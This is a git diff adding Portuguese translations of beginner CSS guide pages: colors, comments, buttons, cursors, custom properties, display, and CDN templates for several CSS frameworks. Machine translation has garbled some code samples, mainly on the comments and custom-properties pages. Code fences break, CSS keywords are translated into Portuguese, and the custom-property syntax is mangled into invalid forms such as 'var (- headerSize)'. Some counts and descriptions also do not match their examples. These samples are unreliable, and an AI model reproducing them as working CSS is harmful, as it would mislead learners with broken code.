+Esses três pares expressam um valor para a quantidade de vermelho, verde e azul em uma determinada cor. Tomando a cor do hexcode # AA11BB, AA é a quantidade de vermelho, 11 a quantidade de verde e BB a quantidade de azul. 0 é o valor mais baixo de uma cor, enquanto f é o valor mais alto.
+
+Os códigos hexadecimais são insensíveis a maiúsculas e minúsculas, significando que #FFFFFF e #ffffff seriam da mesma cor: branco.
+
+Além disso, existem 16.777.216 possíveis combinações de cores usando o hexcode.
+
+### Opacidade
+
+A propriedade de opacidade CSS3 define a opacidade do elemento inteiro (tanto a cor do segundo plano quanto o texto serão opacos / transparentes). Ao contrário dos valores alfa especificados com rgba e hsla, a opacidade é herdada pelos elementos filhos.
+
+O valor da propriedade de opacidade deve ser um número entre 0.0 (totalmente transparente) e 1.0 (totalmente opaco).
+
+#### Exemplos
+
+```html
+
+<html> 
+  <body> 
+    <p>Hello Moto</p> 
+  </body> 
+ </html> 
+```
+
+```css
+body { 
+  background-color: green; 
+  color: white; 
+ } 
+```
+
+No exemplo acima, a `background-color: green` transforma o elemento verde em `<body>` . Isso transforma toda a página da web em verde. Os elementos `<p>` são todos brancos depois da `color: white` também. Você pode usar cores nomeadas, como `green` , `blue` , `yellow` , `red` , `purple` e muitas outras. Mas para cores personalizadas, você pode usar códigos hexadecimais ( `#147ACC` ), valores RGB ( `rgb(20, 122, 204)` ) e até mesmo valores HSL ( `hsl(145, 59%, 30%)` ).
+
+```css
+p { 
+  color: rgba(244, 145, 14, 0.80); // bright orange 
+ } 
+ 
+ h2 { 
+ color: #FA8072; //salmon 
+ } 
+```
+
+Você também pode adicionar um valor alfa ou transparência às cores. A transparência permite que o texto seja sobreposto em uma imagem e ainda tenha a imagem parcialmente visível através do texto, ou pode ser usado para alterar a tonalidade da cor se nenhum outro elemento estiver na frente ou atrás do texto. Use `rgba()` ou `hsla()` e preencha seus valores de cor. O valor alfa é o último e é um percentual convertido em um decimal. (Por exemplo, 20% é 0,2, 75% é 0,75 etc.)
+
+```css
+body { 
+  background-color: hsl(184, 87%, 94%); // bright blue 
+ } 
+```
+
+Acima mostra parágrafos laranja brilhante e 20% transparente, h2 elementos um rosa salmão eo fundo do corpo azul brilhante.
+
+Para obter cores personalizadas para usar em CSS, você pode achar útil um seletor de cores. Alguns editores de texto têm selecionadores de cores internos, como o Visual Studio Code. Se você pesquisar "selecionador de cores" no Google ou no DuckDuckGo, receberá um seletor de cores que poderá usar. O Google Chrome e o Firefox também têm complementos de selecionador de cores que você pode instalar. O Adobe Color CC não apenas ajuda você a escolher uma cor, mas também ajuda a escolher um esquema de cores para sua página da web! É uma boa ideia verificar se há contraste suficiente entre as cores de texto e de plano de fundo usando uma ferramenta como o Color Contrast Checker do WebAIM.
+
+#### Mais Informações:
+
+[Adobe Color CC](https://color.adobe.com/) [ColorPick Eyedropper na Chrome Web Store](https://chrome.google.com/webstore/detail/colorpick-eyedropper/ohcpnigalekghcmgcdcenkpelffpdolg?hl=en) [Complemento do ColorZilla para o Firefox](https://addons.mozilla.org/en-US/firefox/addon/colorzilla/) [Explore diferentes cores hexadecimais](http://www.colorhexa.com/) [Verificador de contraste de cor WebAIM](https://webaim.org/resources/contrastchecker/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/comments-in-css/index.md b/client/src/guide/portuguese/css/comments-in-css/index.md
new file mode 100644
index 0000000000..14d5253d92
--- /dev/null
+++ b/client/src/guide/portuguese/css/comments-in-css/index.md
@@ -0,0 +1,81 @@
+---
+title: Comments in CSS
+localeTitle: Comentários em CSS
+---
+## Comentários em CSS
+
+Os comentários são usados ​​no CSS para explicar um bloco de código ou para fazer alterações temporárias durante o desenvolvimento. O código comentado não é executado.
+
+A sintaxe de comentário no CSS funciona para comentários de uma ou várias linhas. Você pode adicionar tantos comentários à sua folha de estilo quanto quiser.
+
+```css
+    /* 
+        This is 
+        a multi-line 
+        comment 
+    */ 
+ 
+    /* This is a single line comment*/ 
+    .group:after { 
+        content: ""; 
+        display: table; 
+        clear: both; 
+    } 
+```
+
+Usando comentários CSS para tornar suas folhas de estilo mais legíveis, o CSS será mais fácil de manter no futuro para você ou outro desenvolvedor. É uma boa prática usar comentários CSS para ajudar a identificar partes de qualquer folha de estilo que possa ser difícil de entender para alguém que não escreveu o código.
+
+Você também pode tornar seus comentários mais legíveis estilizando-os.
+
+```css
+/* 
+ *** 
+ * SECTION FOR H2 STYLE 
+ *** 
+ * A paragraph where I give informations 
+ * about everything that someone who reads the code 
+ * but didn't write it would need to know. 
+ * The asterisk around the paragraph make it more readable. 
+ *** 
+ */ 
+ 
+ You can add as many comments to your stylesheet as you like. It's good practice to use CSS comments to help identify parts of any stylesheet that might be difficult to understand from a cursory glance. Comments are especially important when working in a team, when your code must be understood by others. By using CSS comments to make your stylesheets more readable, the CSS will be easier to maintain in the future. 
+ 
+ ## Comment Formats 
+ 
+ Comments should be used everyday in your CSS to keep in maintainable and readable by any dev who dives into said CSS. 
+ Here are a few exmples to get you started of CSS comments you can use in your daily work to make your life that bit easier. 
+```
+
+css / \* ++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++ TABELA DE CONTEÚDO DA CSS
+
+1,0 - Reset 2.0 - Fontes 3.0 - Globals 4.0 - Paleta de Cores 5.0 - cabeçalho 6.0 - corpo 6.1 - Sliders 6.2 - Imagens 7.0 - Rodapé ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++ \* /
+
+/ 1,0 - Redefinir \* /
+
+/ 2.0 - Fontes \* /
+
+/ 3.0 - Globals \* /
+
+/ 4.0 - Paleta de Cores \* /
+
+/ 5.0 - Cabeçalho \* /
+
+/ 6.0 - corpo \* /
+```
+/************************************************************************ 
+ 5.1 - Sliders */ 
+ 
+ /************************************************************************ 
+ 5.2 - Imagery */ 
+```
+
+/ 7,0 - Rodapé \* / \`\` \`css
+
+h2 { tamanho da fonte: 1,2em; font-family: "Ubuntu", serif; text-transform: maiúscula; } \`\` \`
+
+### Mais Informações:
+
+*   [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/Comments)
+*   [Comentários CSS por Adam Roberts](https://www.sitepoint.com/css-comments/)
+*   [Diretrizes CSS](https://cssguidelin.es/#commenting)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-buttons/index.md b/client/src/guide/portuguese/css/css-buttons/index.md
new file mode 100644
index 0000000000..da03fef706
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-buttons/index.md
@@ -0,0 +1,106 @@
+---
+title: CSS Buttons
+localeTitle: Botões CSS
+---
+## Botões CSS
+
+*   Você pode estilizar qualquer botão clicável (elemento HTML `<button>` )
+
+`<button>Click Me</button>`
+
+*   O botão padrão é semelhante ao seguinte:
+
+![Default Button Style](https://image.ibb.co/kCweAm/button.png "Estilo de botão padrão")
+
+## Estilizando um botão
+
+Você pode alterar várias propriedades de um botão para alterar sua aparência.
+
+Para adicionar sombras ao botão, use `box-shadow` propriedade `box-shadow` .
+
+Para adicionar transparência a um botão para um efeito desabilitado, use a `opacity` da propriedade.
+
+Para remover as margens e criar um grupo de botões, adicione `float:left/right` property.
+
+Para criar um grupo de botões, mas com as bordas, use a propriedade `float` e adicione uma `border property` .
+
+Para criar um grupo vertical de botões, use display: `block property` .
+
+### Cor do botao
+
+Para alterar a cor de fundo de um botão, use a propriedade background-color:
+
+`button {background-color: #6ba0f4;}`
+
+![Button Background-Color](https://image.ibb.co/f5Xpt6/button_bg_blue.png "Botão fundo-cor")
+
+Para adicionar uma borda colorida a um botão, use a propriedade border:
+```
+button { 
+  background-color: #FFF; 
+  color: #FFF; 
+  border: 2px solid #6ba0f4; 
+ } 
+```
+
+![Button Border](https://image.ibb.co/kUqymR/button_border_blue.png "Borda do botão")
+
+### Tamanho do texto do botão
+
+Para alterar o tamanho da fonte do texto de um botão, use a propriedade font-size:
+
+`button {font-size: 20px;}`
+
+![Button Text Size](https://image.ibb.co/gM9r6R/button_fontsize.png "Tamanho do texto do botão")
+
+### Botão de preenchimento
+
+Para alterar o preenchimento de um botão, use a propriedade padding:
+
+`button {padding: 15px 30px;}`
+
+![Button Padding](https://image.ibb.co/fKer6R/button_padding.png "Botão de preenchimento")
+
+### Largura do Botão
+
+Para alterar a largura de um botão, independentemente do conteúdo do texto, use a propriedade width:
+
+`button {width: 250px;}`
+
+![Button Width](https://image.ibb.co/cDgSfm/button_width.png "Largura do Botão")
+
+### Botões Arredondados
+
+Para criar botões arredondados, use a propriedade border-radius:
+
+`button {border-radius: 50%;}`
+
+![Rounded Buttons](https://image.ibb.co/cfH00m/button_bradius.png "Botões Arredondados")
+
+### Botões flutuantes
+
+Para alterar o estilo de um botão ao passar o mouse sobre ele, use o seletor em foco:
+```
+button:hover { 
+  background-color: #0E2C5B; 
+  color: #FFF; 
+ } 
+```
+
+![Hoverable Buttons](https://image.ibb.co/hxQnfm/button_hover.png "Botões flutuantes")
+
+Para determinar a velocidade do efeito de foco, use a `transition-duration` da propriedade.
+
+### Botões desativados
+
+Para desabilitar um botão, use a propriedade do cursor:
+```
+button { 
+  cursor: not-allowed; 
+ } 
+```
+
+#### Mais Informações:
+
+*   https://www.w3schools.com/css/css3\_buttons.asp
+*   https://www.w3schools.com/howto/howto _css_ animate\_buttons.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-cursors/index.md b/client/src/guide/portuguese/css/css-cursors/index.md
new file mode 100644
index 0000000000..4aebd01ed9
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-cursors/index.md
@@ -0,0 +1,58 @@
+---
+title: CSS Cursors
+localeTitle: Cursores CSS
+---
+## Cursores CSS
+
+A propriedade cursor especifica o tipo de cursor a ser exibido quando você passa o mouse sobre um elemento. Tem 36 valores possíveis:
+
+```css
+    .auto            { cursor: auto; } 
+    .default         { cursor: default; } 
+    .none            { cursor: none; } 
+    .context-menu    { cursor: context-menu; } 
+    .help            { cursor: help; } 
+    .pointer         { cursor: pointer; } 
+    .progress        { cursor: progress; } 
+    .wait            { cursor: wait; } 
+    .cell            { cursor: cell; } 
+    .crosshair       { cursor: crosshair; } 
+    .text            { cursor: text; } 
+    .vertical-text   { cursor: vertical-text; } 
+    .alias           { cursor: alias; } 
+    .copy            { cursor: copy; } 
+    .move            { cursor: move; } 
+    .no-drop         { cursor: no-drop; } 
+    .not-allowed     { cursor: not-allowed; } 
+    .all-scroll      { cursor: all-scroll; } 
+    .col-resize      { cursor: col-resize; } 
+    .row-resize      { cursor: row-resize; } 
+    .n-resize        { cursor: n-resize; } 
+    .e-resize        { cursor: e-resize; } 
+    .s-resize        { cursor: s-resize; } 
+    .w-resize        { cursor: w-resize; } 
+    .ns-resize       { cursor: ns-resize; } 
+    .ew-resize       { cursor: ew-resize; } 
+    .ne-resize       { cursor: ne-resize; } 
+    .nw-resize       { cursor: nw-resize; } 
+    .se-resize       { cursor: se-resize; } 
+    .sw-resize       { cursor: sw-resize; } 
+    .nesw-resize     { cursor: nesw-resize; } 
+    .nwse-resize     { cursor: nwse-resize; } 
+```
+
+![alt text](http://www.javascripter.net/faq/24_cursor_styles.gif "Cursores CSS")
+
+Você também pode definir uma imagem como o cursor.
+```
+.custom-cursor { 
+  cursor: url(cursor-image.png); 
+ } 
+```
+
+#### Mais Informações:
+
+*   Verifique os valores do cursor acima em ação: [codepen](https://codepen.io/chriscoyier/pen/uCwfB)
+*   Rede de desenvolvedores Mozilla: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor)
+*   Suporte ao Navegador: [caniuse](http://caniuse.com/#search=cursor)
+*   Exemplos de cursores por w3schools: [w3schools](https://www.w3schools.com/cssref/playit.asp?filename=playcss_cursor&preval=none)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-custom-properties/index.md b/client/src/guide/portuguese/css/css-custom-properties/index.md
new file mode 100644
index 0000000000..6c5b0d6f3b
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-custom-properties/index.md
@@ -0,0 +1,46 @@
+---
+title: CSS Custom Properties
+localeTitle: Propriedades personalizadas CSS
+---
+## Propriedades personalizadas CSS
+
+As propriedades customizadas de CSS também são chamadas de variáveis ​​CSS. Desde outubro de 2018, as propriedades personalizadas de CSS ainda são uma tecnologia experimental. Considere [o suporte ao navegador](https://developer.mozilla.org/en-US/docs/Web/CSS/--*#Browser_compatibility) antes de usar o recurso em produção.
+
+### Declarando propriedades personalizadas
+
+Dentro de um seletor, as propriedades personalizadas são declaradas usando dois hífens (-) e o nome, seguido pelo valor. O valor pode ser simples, como uma cor (RGB, hexcode, etc.) ou tamanho (usando pixel, em, rem, etc.), ou pode ser mais complexo, como uma definição de dropshadow. Veja os exemplos abaixo.
+
+```css
+:root { 
+  --firstVariable: red; 
+  --headerSize: 16px; 
+  --dropShadow: 1px 1px 2px 2px rgba(100,100,100,0.2); 
+```
+
+Declarar propriedades personalizadas no seletor `:root` torna essas propriedades disponíveis globalmente. O seletor `:root` pode ser considerado o mesmo que o seletor `html` .
+
+### Usando propriedades personalizadas
+
+Para usar uma propriedade customizada, é utilizada a função `var()` , que usa um único argumento do nome da propriedade customizada. \`\` \`css h1 { font-size: var (- headerSize); }
+
+.card { box-shadow: var (- dropShadow); }
+```
+### Cascading Custom Properties 
+ When custom properties are declared in the `:root` selector, those properties are globally available; any style rules can use the properties. If a custom property needs to be different for specific element, class, or id, a property of the same can be declared in that selector. The compiler will first look for a property name within the immediate enclosing selector, then move to the `:root`. 
+```
+
+css : root { - sem cor: vermelho; }
+
+h1 { - sem cor: azul; }
+
+h1 { font-color: var (- fonte-cor); / \* azul \* / }
+
+h2 { font-color: var (- fonte-cor); / \* vermelho \* / } \`\` \`
+
+#### Mais Informações:
+
+Para mais informações visite:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/--*)
+*   [Documento de Recomendação para o Candidato do W3C](https://www.w3.org/TR/css-variables/)
+*   [Suporte de Navegador](https://caniuse.com/#feat=css-variables)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-display/index.md b/client/src/guide/portuguese/css/css-display/index.md
new file mode 100644
index 0000000000..3bb616f627
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-display/index.md
@@ -0,0 +1,37 @@
+---
+title: CSS Display
+localeTitle: Exibição CSS
+---
+## Exibição CSS
+
+A propriedade display especifica o tipo de caixa usado para um elemento HTML. Tem 20 valores possíveis de palavras-chave. Os mais usados ​​são:
+
+```css
+    .none             {display: none} 
+    .block            {display: block} 
+    .inline-block     {display: inline-block} 
+    .inline           {display: inline} 
+    .flex             {display: flex} 
+    .inline-flex      {display: inline-flex} 
+    .inline-table     {display: inline-table} 
+    .table            {display: table} 
+    .inherit          {display: inherit} 
+    .initial          {display: initial} 
+```
+
+A `display:none` propriedade pode ser útil ao tornar um site responsivo. Por exemplo, talvez você queira ocultar um elemento em uma página à medida que o tamanho da tela diminui para compensar a falta de espaço. `display: none` não apenas ocultará o elemento, mas todos os outros elementos na página se comportarão como se esse elemento não existisse. Essa é a maior diferença entre essa propriedade e a `visibility: hidden` property, que oculta o elemento, mas mantém todos os outros elementos da página no mesmo lugar em que apareceriam se o elemento oculto estivesse visível.
+
+Esses valores de palavras-chave são agrupados em seis categorias:
+
+*   `<display-inside>`
+*   `<display-outside>`
+*   `<display-listitem>`
+*   `<display-box>`
+*   `<display-internal>`
+*   `<display-legacy>`
+
+### Mais Informações:
+
+*   [MDN - display](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+*   [caniuse - Suporte do Navegador](http://caniuse.com/#search=display)
+*   [CSS-Tricks - Um Guia Completo para o Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-framework-bootstrap/index.md b/client/src/guide/portuguese/css/css-frameworks/css-framework-bootstrap/index.md
new file mode 100644
index 0000000000..4ffae860f0
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-framework-bootstrap/index.md
@@ -0,0 +1,86 @@
+---
+title: CSS Framework Bootstrap
+localeTitle: Bootstrap do CSS Framework
+---
+# Bootstrap do CSS Framework
+
+O Bootstrap é a estrutura CSS mais popular para o desenvolvimento de primeiros projetos móveis e responsivos para a web.
+
+## Começando - Versão mais recente: 4.1
+
+Aqui está um modelo HTML simples que inclui o CSS e o Javascript mais recentes compilados e minimizados para a biblioteca do Bootstrap. Nós usamos um CDN neste exemplo, mas você pode verificar [outras maneiras de instalar o Bootstrap](https://getbootstrap.com/docs/4.1/getting-started/download/) .
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> 
+        <title>Bootstrap</title> 
+ 
+        <!--Latest compiled and minified CSS--> 
+  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" crossorigin="anonymous"> 
+      </head> 
+      <body> 
+        <!-- Add all HTML Code below --> 
+ 
+        <!-- Add all HTML Code above --> 
+ 
+        <!-- jQuery --> 
+        <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> 
+        <!-- popper.js --> 
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> 
+        <!-- Latest compiled bootstrap JavaScript --> 
+        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" integrity="sha384-smHYKdLADwkXOn1EmN1qk/HfnUcbVRZyYmZ4qpPea6sjB/pTJ0euyQp0Mk8ck+5T" crossorigin="anonymous"></script> 
+      </body> 
+    </html> 
+```
+
+## Primeiros passos - Bootstrap 3
+
+O Bootstrap 3 não é a última versão estável do Bootstrap, mas ainda é a versão mais usada. Você vai encontrá-lo em muitos modelos, temas wordpress, projetos e muito mais. Com isso em mente, é claro que ainda é útil saber como usá-lo. Não hesite em passar pela excelente [Documentação do Bootstrap](https://getbootstrap.com/docs/3.3/getting-started/) .
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <!-- Required meta tags --> 
+    <meta charset="utf-8"> 
+    <meta http-equiv="X-UA-Compatible" content="IE=edge"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1"> 
+ 
+    <!-- Bootstrap 3 CSS --> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> 
+ 
+    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> 
+    <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> 
+    <!--[if lt IE 9]> 
+    <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> 
+    <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> 
+    <![endif]--> 
+  </head> 
+  <body> 
+    <!-- Add all HTML Code below --> 
+ 
+    <!-- Add all HTML Code above --> 
+ 
+    <!-- jQuery library --> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script> 
+    <!-- IU jQuery for better animations--> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script> 
+    <!-- compiled JavaScript --> 
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 
+  </body> 
+ </html> 
+```
+
+**Nota:** Outras versões estão disponíveis e podem ser encontradas no site do Bootstrap.
+
+## Recursos de aprendizagem
+
+*   Finalize a documentação oficial do Bootstrap 4 [aqui](https://getbootstrap.com/docs/4.1/getting-started/introduction/)
+*   Finalize a documentação oficial do Bootstrap 3 [aqui](https://getbootstrap.com/docs/3.3/getting-started/) .
+*   Confira o repositório GitHub de código aberto do Bootstrap [aqui](https://github.com/twbs/bootstrap) .
+*   No [FreeCodeCamp](https://www.freecodecamp.com/) , ensinamos o Bootstrap como parte do nosso currículo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-framework-bulma/index.md b/client/src/guide/portuguese/css/css-frameworks/css-framework-bulma/index.md
new file mode 100644
index 0000000000..061e3a9c79
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-framework-bulma/index.md
@@ -0,0 +1,36 @@
+---
+title: CSS Framework Bulma
+localeTitle: Bulma da CSS Bulma
+---
+# Bulma da CSS Bulma
+
+O Bulma é um framework CSS moderno baseado no [Flexbox](http://forum.freecodecamp.com/t/css-flexbox-tips-and-tricks) e altamente personalizável usando o [Sass](http://sass-lang.com/) (SCSS).
+
+## Começando
+
+Aqui está um modelo HTML simples que inclui o último CSS compilado e minimizado para a biblioteca Bulma.
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Bulma Template</title> 
+        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.0.23/css/bulma.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+      </body> 
+    </html> 
+```
+
+Nós usamos um CDN neste exemplo, mas você pode verificar outras formas de instalar o Bulma [aqui](http://bulma.io/documentation/overview/start/) .
+
+## Recursos de aprendizagem
+
+*   A documentação oficial do Bulma está disponível [aqui](http://bulma.io/documentation/overview/start/) .
+*   Confira o repositório GitHub de código aberto do Bulma [aqui](https://github.com/jgthms/bulma) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-framework-foundation/index.md b/client/src/guide/portuguese/css/css-frameworks/css-framework-foundation/index.md
new file mode 100644
index 0000000000..cb27079251
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-framework-foundation/index.md
@@ -0,0 +1,39 @@
+---
+title: CSS Framework Foundation
+localeTitle: Fundação do Quadro CSS
+---
+# Fundação do Quadro CSS
+
+[Foundation](http://foundation.zurb.com/) é uma estrutura CSS móvel de código aberto criada pela [Zurb](https://zurb.com/) .
+
+## Começando
+
+Aqui está um modelo HTML simples que inclui as últimas CSS e Javascript compiladas e reduzidas para a biblioteca Foundation.
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Foundation Template</title> 
+        <link rel="stylesheet" href="https://cdn.jsdelivr.net/foundation/6.2.1/foundation.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+        <script src="https://cdn.jsdelivr.net/foundation/6.2.1/foundation.min.js"></script> 
+      </body> 
+    </html> 
+```
+
+Este exemplo faz uso de um CDN que carrega as configurações padrão. Se você quiser personalizar o layout da grade, altere as cores ou adicione e remova os componentes que você pode fazer na página de [download](http://foundation.zurb.com/sites/download/) da Fundação.
+
+#### Recursos de aprendizagem
+
+1.  [Documentação da Fundação](http://foundation.zurb.com/sites/docs/)
+2.  [Lista de Tutoriais Básicos](https://github.com/zurb/foundation-sites)
+3.  [Arquivos de origem de fundação no GitHub](http://foundation.zurb.com/learn/tutorials.html)
+4.  [DevTips YouTube Series on Foundation Grid](https://www.youtube.com/playlist?list=PLqGj3iMvMa4LJo_lBMTJwAlQRElulSeL8)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-framework-material-design-lite/index.md b/client/src/guide/portuguese/css/css-frameworks/css-framework-material-design-lite/index.md
new file mode 100644
index 0000000000..a7e9b9d0b7
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-framework-material-design-lite/index.md
@@ -0,0 +1,33 @@
+---
+title: CSS Framework Material Design Lite
+localeTitle: CSS Material Design Lite
+---
+# CSS Material Design Lite
+
+O Material Design Lite permite que você adicione uma aparência de Material Design a seus sites. O objetivo é otimizar o uso em dispositivos diferentes.
+
+## Começando
+
+Aqui está um modelo HTML simples que inclui o último CSS compilado e minimizado para a biblioteca MDL.
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <title></title> 
+        <link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"> 
+        <link rel="stylesheet" href="https://code.getmdl.io/1.3.0/material.indigo-pink.min.css"> 
+        <script defer src="https://code.getmdl.io/1.3.0/material.min.js"></script> 
+    </head> 
+    <body> 
+    </body> 
+ </html> 
+```
+
+Nós usamos um CDN neste exemplo, mas você pode verificar outras formas de instalar o MDL [aqui](https://getmdl.io/started/index.html) .
+
+### Recursos de aprendizagem
+
+*   A documentação oficial do MDL está disponível [aqui](https://getmdl.io/started/index.html) .
+*   Confira o repositório GitHub de código aberto da MDL [aqui](https://github.com/google/material-design-lite) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-framework-materialize/index.md b/client/src/guide/portuguese/css/css-frameworks/css-framework-materialize/index.md
new file mode 100644
index 0000000000..0f5d7095e2
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-framework-materialize/index.md
@@ -0,0 +1,42 @@
+---
+title: CSS Framework Materialize
+localeTitle: Estrutura CSS Materializar
+---
+# Estrutura CSS Materializar
+
+Materializar é uma estrutura CSS Responsiva baseada na Linguagem de [Design de Material](https://design.google.com/spec/) do Google.
+
+## Começando
+
+Aqui está um modelo HTML simples que inclui as últimas CSS compiladas e reduzidas e Javascript para a biblioteca Materialize.
+
+```html
+
+    <!DOCTYPE html> 
+  <html> 
+    <head> 
+      <!--Import Google Icon Font--> 
+      <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> 
+      <!--Import materialize.css--> 
+      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/css/materialize.min.css"> 
+ 
+      <!--Let browser know website is optimized for mobile--> 
+      <meta name="viewport" content="width=device-width, initial-scale=1.0"/> 
+    </head> 
+ 
+    <body> 
+      <h1>Hello World!</h1> 
+      <!--Import jQuery before materialize.js--> 
+      <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.min.js"></script> 
+      <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script> 
+    </body> 
+  </html> 
+```
+
+Nós usamos um CDN neste exemplo, mas você pode verificar outras formas de instalar o Materialize [aqui](http://materializecss.com/getting-started) .
+
+## Recursos de aprendizagem
+
+*   A documentação oficial do materialise está disponível [aqui](www.materializecss.com/) .
+*   Confira o repositório GitHub de código aberto do materialise [aqui](https://github.com/Dogfalo/materialize) .
+*   [Aqui](https://scotch.io/tutorials/make-material-design-websites-with-the-materialize-css-framework) está um tutorial útil sobre o uso de Materialize.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-framework-semanticui/index.md b/client/src/guide/portuguese/css/css-frameworks/css-framework-semanticui/index.md
new file mode 100644
index 0000000000..0cc004623e
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-framework-semanticui/index.md
@@ -0,0 +1,34 @@
+---
+title: CSS Framework Semantic UI
+localeTitle: IU semântica de estrutura de CSS
+---
# IU semântica de estrutura de CSS
+
+A Semantic UI é uma das estruturas CSS mais populares para o desenvolvimento de primeiros projetos móveis e responsivos para a web.
+
+## Começando
+
+Aqui está um modelo HTML simples que inclui o CSS e o Javascript mais recentes compilados e minimizados para a biblioteca da UI Semântica. Nós usamos um CDN neste exemplo, mas você pode verificar outras formas de instalar a Semantic UI [aqui](https://semantic-ui.com/introduction/getting-started.html) .
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Semantic UI Template</title> 
+        <link rel="stylesheet" href="https://cdn.jsdelivr.net/semantic-ui/2.2.13/semantic.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+        <script src="https://cdn.jsdelivr.net/semantic-ui/2.2.13/semantic.min.js"></script> 
+      </body> 
+    </html> 
+```
+
+## Recursos de aprendizagem
+
+*   A documentação oficial da UI semântica está disponível [aqui](https://semantic-ui.com/introduction/getting-started.html) .
+*   Faça o check-out do repositório GitHub de código-fonte aberto da Semantic UI [aqui](https://github.com/Semantic-Org/Semantic-UI) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-framework-skeleton/index.md b/client/src/guide/portuguese/css/css-frameworks/css-framework-skeleton/index.md
new file mode 100644
index 0000000000..e6be922201
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-framework-skeleton/index.md
@@ -0,0 +1,41 @@
+---
+title: CSS Framework Skeleton
+localeTitle: Esqueleto da Estrutura CSS
+---
+# Esqueleto da Estrutura CSS
